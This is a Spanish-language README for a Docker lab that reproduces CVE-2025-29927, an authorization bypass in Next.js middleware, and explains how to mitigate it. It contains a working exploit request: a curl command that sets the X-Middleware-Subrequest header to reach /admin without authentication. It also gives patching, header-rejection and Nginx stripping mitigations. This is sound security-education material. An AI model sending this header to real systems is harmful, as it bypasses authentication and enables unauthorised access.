
Laboratorio basado en Docker para explorar y reproducir la vulnerabilidad de omisión de autorización de middleware en Next.js CVE-2025-29927. Incluye aplicación vulnerable, pasos de reproducción y estrategias de mitigación para investigación educativa en seguridad.
Este repositorio contiene un laboratorio basado en Docker para explorar y demostrar la vulnerabilidad CVE-2025-29927 de Next.js en un entorno controlado.
⚠️ DESCARGO DE RESPONSABILIDAD: Este laboratorio es solo para fines educativos y de investigación en seguridad. No lo expongas a Internet público ni lo uses en producción.
Asegúrate de tener instalado lo siguiente:
Sigue estos pasos para clonar y ejecutar el laboratorio:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Esto hará lo siguiente:
.
├── app/ # Código principal de la aplicación Next.js
├── public/ # Activos estáticos (imágenes, etc.)
├── Dockerfile # Configuración de Docker para la aplicación
├── docker-compose.yml # Configuración de Compose
├── .env # Variables de entorno (si las hay)
├── README.md # Estás aquí
⚠️ ADVERTENCIA: Esta documentación es solo para fines educativos y de investigación en seguridad. No implementes la aplicación vulnerable en un entorno de producción.
CVE-2025-29927 es una vulnerabilidad crítica de omisión de autorización en el middleware de Next.js. Permite a los atacantes saltarse la autenticación basada en middleware y acceder a rutas protegidas manipulando la cabecera X-Middleware-Subrequest.
Intenta acceder a una ruta protegida, como /admin, sin autenticación:
curl http://localhost:3000/admin
Comportamiento esperado: Se deniega el acceso o se redirige a una página no autorizada.
Comportamiento vulnerable: Se concede el acceso sin autenticación.
X-Middleware-SubrequestEnvía una solicitud con la cabecera X-Middleware-Subrequest para saltarse las comprobaciones del middleware:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Resultado: El middleware se omite y se concede acceso a la ruta protegida.
Actualiza Next.js a una de las siguientes versiones donde se ha corregido la vulnerabilidad:
npm install next@latest
Mejora tu middleware para validar las solicitudes correctamente y rechazar aquellas con cabeceras sospechosas:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('No autorizado', { status: 401 });
}
// Continuar con el procesamiento normal
return NextResponse.next();
}
Si usas un proxy inverso (por ejemplo, Nginx), configúralo para eliminar la cabecera X-Middleware-Subrequest de las solicitudes entrantes:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Este archivo VULNERABILITY.md proporciona una guía completa para comprender y reproducir la vulnerabilidad CVE-2025-29927 en un entorno controlado. También ofrece estrategias prácticas de mitigación para proteger tus aplicaciones Next.js contra tales exploits.
Para una demostración detallada y más información sobre esta vulnerabilidad, puedes consultar la demostración completa del ataque proporcionada por Techtalkpine en la publicación del blog, que también está vinculada a la demostración en vivo de Youtube: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Avísame si necesitas ayuda con alguna parte específica de esta configuración o más aclaraciones sobre los pasos de mitigación.
Para detener y eliminar los contenedores:
docker-compose down
Este proyecto está destinado únicamente a fines educativos y de investigación. Eres responsable de usarlo de acuerdo con todas las leyes y directrices éticas aplicables. El autor no se hace responsable de ningún uso indebido o daño causado.